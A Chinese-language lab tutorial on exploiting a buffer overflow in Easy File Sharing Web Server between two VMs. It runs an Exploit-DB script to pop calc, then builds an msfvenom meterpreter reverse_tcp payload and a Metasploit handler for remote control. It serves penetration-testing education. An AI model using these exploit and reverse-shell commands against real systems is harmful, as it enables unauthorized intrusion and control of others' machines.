admin管理员组

文章数量:1620184

-Easy File Sharing Web Server 漏洞的简单利用

一、 漏洞概述

1.简介

EFS Easy File Sharing (EFS) Web Server是荷兰EFS Software公司的一套集论坛网站,文件上传、下载、共享和图片共享等功能的文件共享软件。

EFS EFS Web Server 7.2版本中存在基于栈的缓冲区溢出漏洞。远程攻击者可通过向forum.ghp文件发送恶意的登录请求利用该漏洞执行任意代码。

Easy File Sharing Web Server在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞获取敏感信息。Easy File Sharing Web Server在上传文件时没有正确地过滤某些参数,允许用户通过目录遍历攻击向任意父目录上传文件。

由于Easy File Sharing Web Server 6.9这个程序对输入的用户名长度不进行校验,存在缓冲区溢出漏洞,导致当用户输入太长的用户名导致缓冲区溢出,覆盖程序原本的返回地址,导致程序因跳转到非法地址奔溃或跳转到黑客控制的恶意代码地址进而导致服务器被黑客控制。

2. 复现目的

  1. 利用Nmap扫描发现靶机(Windows)运行了该服务。
  2. 利用该漏洞,使得靶机运行计算器。

3. 影响版本

Easy File Sharing Web Server 7.2

二、 漏洞复现

1. 复现环境

Windows7 旗舰版

Kali 2023.3

两台虚拟机以NAT模式连接在同一个网络下

2. 复现过程及结果

漏洞挖掘

首先在win7虚拟机中安装Easy File Sharing Web Server 2018软件:

运行软件后会弹出激活窗口,由于仅用作实验,故安装后无需激活,直接点击右边的Try it!

如下为软件运行界面,可见http服务所使用的端口号为80,服务器IP为192.168.47.143

然后切换到kali,使用nmap工具扫描上面的服务器IP,并加上-sV参数以查看各开放端口所使用的服务名称和版本号:

nmap -sV 192.168.47.143

可见与各服务与端口的对应与软件界面显示的相同,同时还将服务的版本号展示出来了。

对于漏洞挖掘者来说,看到该服务器开放Easy File Sharing Web Server httpd 6.9,便可以联想到该版本存在的缓冲区溢出漏洞,下面开始利用该漏洞对服务器进行攻击。

漏洞利用

首先,在kali中访问存在漏洞的服务端口192.168.47.143:80

根据上面的漏洞描述,该版本对输入的用户名长度不进行校验,存在缓冲区溢出漏洞,当用户输入太长的用户名会导致缓冲区溢出,覆盖程序原本的返回地址,导致程序因跳转到非法地址奔溃或跳转到黑客控制的恶意代码地址。

先来测试下该漏洞,先输入正常长度的用户名来Login:

网页正常响应,然后再准备6000个字符长度的用户名:

粘贴到Username栏中再Login,发现此时网页无响应:

回到win7发现软件已崩溃:

说明上述漏洞确实存在。

此处我们的目的是,利用漏洞运行靶机的计算器。对于实现该功能的渗透模块,可以基于Kali Linux系统自带的漏洞库中相关的渗透模块来编写。回到kali中,使用下面的命令查找相关渗透模块:

searchsploit easy file sharing

经过查阅可知,蓝色框内的脚本可以实现再目标计算机执行计算器程序的功能。

同时该模块的调用也很简单,只需在终端中运行时加上服务器ip和端口作为两个参数传入即可(由于该模块是由python2编写,部分语法与python3不兼容,需要指定python2运行):

python2 /usr/share/exploitdb/exploits/windows/remote/39009.py 192.168.47.143 80

运行成功,回到win7中查看,关闭之前崩溃的程序,计算器自动打开,复现完成:

三、相关链接

漏洞分析:https://www.exploit-db/exploits/39008

Metasploit远程控制

一、引言

在上面的实验中,我们利用已有的渗透模块实现了对目标的渗透,成功崩溃了目标系统上运行的EasyFileSharing并启动里计算机程序。接下来我们来尝试利用Metasploit编写一段代码来直接实现对目标系统的远程控制:

二、实现过程

1. 在Kali Linux 2中生成被控端程序

在Kali Linux 2中提供了多个可以用来产生远程控制被控端程序的方式,但是其中最为简单强大的方法应该要数 Msfvenom 命令了。这个命令是著名渗透测试软件 Metasploit的一个功能,但是我们可以直接在Kali Linux 2中使用这个命令。

以前旧版本的 Metasploit中提供了两条关于远程控制被控端程序的命令,其中msfpayload负责用来生成攻击载荷,msfencode负责对攻击载荷进行编码。新版本的Metasploit中将这两条命令整合成为了msfvenom命令,下面给出了msfvenom的几个常见的使用参数。

-p,–payload
指定要生成的 payload(攻击荷载)。如果需要使用自定义的payload,请使用’-'或者stdin指定

-f,–format
指定输出格式(可以使用–help-formats来获取msf支持的输出格式列表)

-o, --out
指定存储payload的位置

–payload-options
列举payload的标准选项

–help-formats
查看msf支持的输出格式列表

在这里我们主要会用到参数-p,-f和-o,分别用于指定要使用的被控端程序,要应用的平台(也可以理解成生成文件格式,例如exe则对应windows平台)和生成文件的输出位置:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.47.142 lport=5000 -f exe -o /home/user/Desktop/payload.exe

上述命令使用的被控端程序是一个用于Windows平台下的反向远程控制程序:windows/meterpreter/reverse_tcp,它的参数 lhost的值为192.168.47.142(即Kali的IP地址),参数lport的值为5000(端口号),主要路径中的“user”需要改成当前主机用户。

待命令运行结束后,可在-o参数指定的路径下找到生成的被控端程序:

将该程序发送到受控段并运行。

2. 在Kali Linux 2中启动主控端

生成了被控端程序,还需要一个启动一个远程控制文件的主控端。

该主控端需要在Metasploit中启动,首先打开一个终端并输入msfconsole来启动Metasploit:

然后再在msf中输入如下指令,设置之前生成被控端程序时的使用的参数-p,具体的值需要根据自己的来修改:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.47.142
set lport 5000

最后再输入exploit即可开始对受控端的控制,这里尝试读取一下受控端当前目录下的test.txt文件:

本文标签: 漏洞简单EasySharingfile